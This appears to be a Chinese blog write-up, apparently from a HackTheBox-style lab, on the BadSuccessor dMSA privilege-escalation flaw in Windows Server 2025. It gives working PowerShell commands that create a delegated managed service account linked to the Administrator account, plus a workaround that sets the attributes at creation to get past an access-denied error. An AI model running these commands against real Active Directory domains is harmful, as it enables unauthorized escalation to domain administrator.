当前位置: 首页 > news >正文

BadSuccessor修改DMSA账户权限不足的问题解决

免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

2025年5月份时,爆出Windows Server 2025中存在一个与委派托管服务帐户 (dMSA)使用相关的严重设计漏洞。该漏洞允许仅拥有最低权限的攻击者在无需直接与特权帐户交互或修改组成员身份的情况下,提升至域管理员权限,简称BadSuccessor。也是在最近的实战过程中,踩了一些坑,在这篇文章分享一下问题和解决办法。

利用过程

网上主流的利用方式如下,这里以我在实战使用的命令演示,使用时需要替换NameDNSHostName以及对应的域路径

在拥有CreateChild权限的OU中创建dMSA

New-ADServiceAccount `-Name shuye_dmsa `-DNSHostName shuye_dmas.eighteen.htb `-CreateDelegatedServiceAccount `-PrincipalsAllowedToRetrieveManagedPassword"adam.scott" `-Path"OU=Staff,DC=eighteen,DC=htb"

设置属性并迁移到Administrator

$dMSA = [ADSI]"LDAP://CN=shuye_dmsa,OU=Staff,DC=eighteen,DC=htb"
$dMSA.Put("msDS-DelegatedMSAState",2)
$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=eighteen,DC=htb")
$dMSA.SetInfo()

问题就出现在.SetInfo()这个命令,如果我们直接执行便可能出现下面的情况:

640
出现Access is denied,这是修改dmsa账户权限不足导致的,修改dmsa账户属性通常需要域管理员权限才能修改,通过查询ACL也能看到
msDS-DelegatedMSAState
msDS-ManagedAccountPrecededByLink
没有这两个属性的修改权限

640 (1)

解决办法

其实解决办法也很简单,既然我们对dmsa账户的属性没有修改权限,那我们可以在创建dmsa账户的时候就设置好属性即可。
具体命令如下:

New-ADServiceAccount-Name shuye_dmsas -DNSHostName shuye_dmsas.eighteen.htb -CreateDelegatedServiceAccount-PrincipalsAllowedToRetrieveManagedPassword"adam.scott"-Path"OU=Staff,DC=eighteen,DC=htb"-OtherAttributes@{"msDS-DelegatedMSAState"=2;"msDS-ManagedAccountPrecededByLink"="CN=Administrator,CN=Users,DC=eighteen,DC=htb"}

成功创建了恶意的dmsa:

640 (2)

总结

该方法通过在创建dmsa账户时就赋予其属性内容可以有效解决创建dmsa账户过程中出现.SetInfo()权限不足问题,后续的利用方法可以参考网上的其他文章。

http://www.rkmt.cn/news/157753.html

相关文章:

  • PaddlePaddle软件缺陷预测模型
  • YOLOv11涨点改进 | 全网独家首发、特征融合创新篇 | ACM 2025顶会 | 引入DAAttn差异感知注意力融合模块,通过动态调整注意力,使模型更准确地识别关键内容,提高精度、并减少冗余计算
  • PaddlePaddle智能合同审查系统开发
  • AI测试中的数据隐私合规体系构建指南
  • Open-AutoGLM装机终极问答:你的电脑到底支不支持?
  • 数据-算法-部署三角关系解构
  • 如何快速上手Open-AutoGLM 2.0?一文掌握4大核心模块操作
  • Open-AutoGLM自动化控制全解析,解锁AI操控移动设备的核心能力
  • 前后端分离协同过滤算法商品推荐系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • 深度学习模型开发与验证标准
  • Open-AutoGLM能否成为下一个开发标配:一线工程师的7天高强度测试结果
  • Open-AutoGLM wegrl技术内幕:仅限内部流传的7个高级用法首次公开
  • Open-AutoGLM操作App的真相:为什么它能像真人一样精准点击与滑动?
  • 2025年股权激励咨询公司推荐:售后完善的股权激励咨询公司有哪些? - mypinpai
  • Windows系统文件WMSPDMOD.DLL丢失损坏 下载方法
  • 2025年社区论坛系统开发公司推荐:短说社区的品牌影响力大吗? - 工业品网
  • 重庆思庄技术分享——ORACLE_PDB_SID和ORACLE_SID的区别
  • Open-AutoGLM能装电脑上吗?5个关键条件揭秘能否本地运行
  • 还在手动写代码?Open-AutoGLM让开发效率提升80%,你却还不知道?
  • PaddlePaddle双塔模型Two-Tower架构详解
  • Java 分支结构 if...else/switch
  • Open-AutoGLM本地安装实测(普通人也能跑大模型?)
  • 亚马逊运营:如何高效监控竞品,提前发现市场趋势和爆款潜力?
  • 【Open-AutoGLM操作手机App原理揭秘】:深度解析AI自动操控技术的底层逻辑
  • html5大文件分片上传插件超大附件上传与加密传输探讨
  • 【Open-AutoGLM技术深度解析】:揭秘wegrl核心机制与落地实践
  • FPGA SATA IP系列全支持:源码网表附赠手册及测试例程
  • html5大文件分片上传插件视频文件上传与加密传输
  • PaddlePaddle法律文书生成模型训练
  • Open-AutoGLM vs 传统GLM调用模式,API开放带来的5次技术跃迁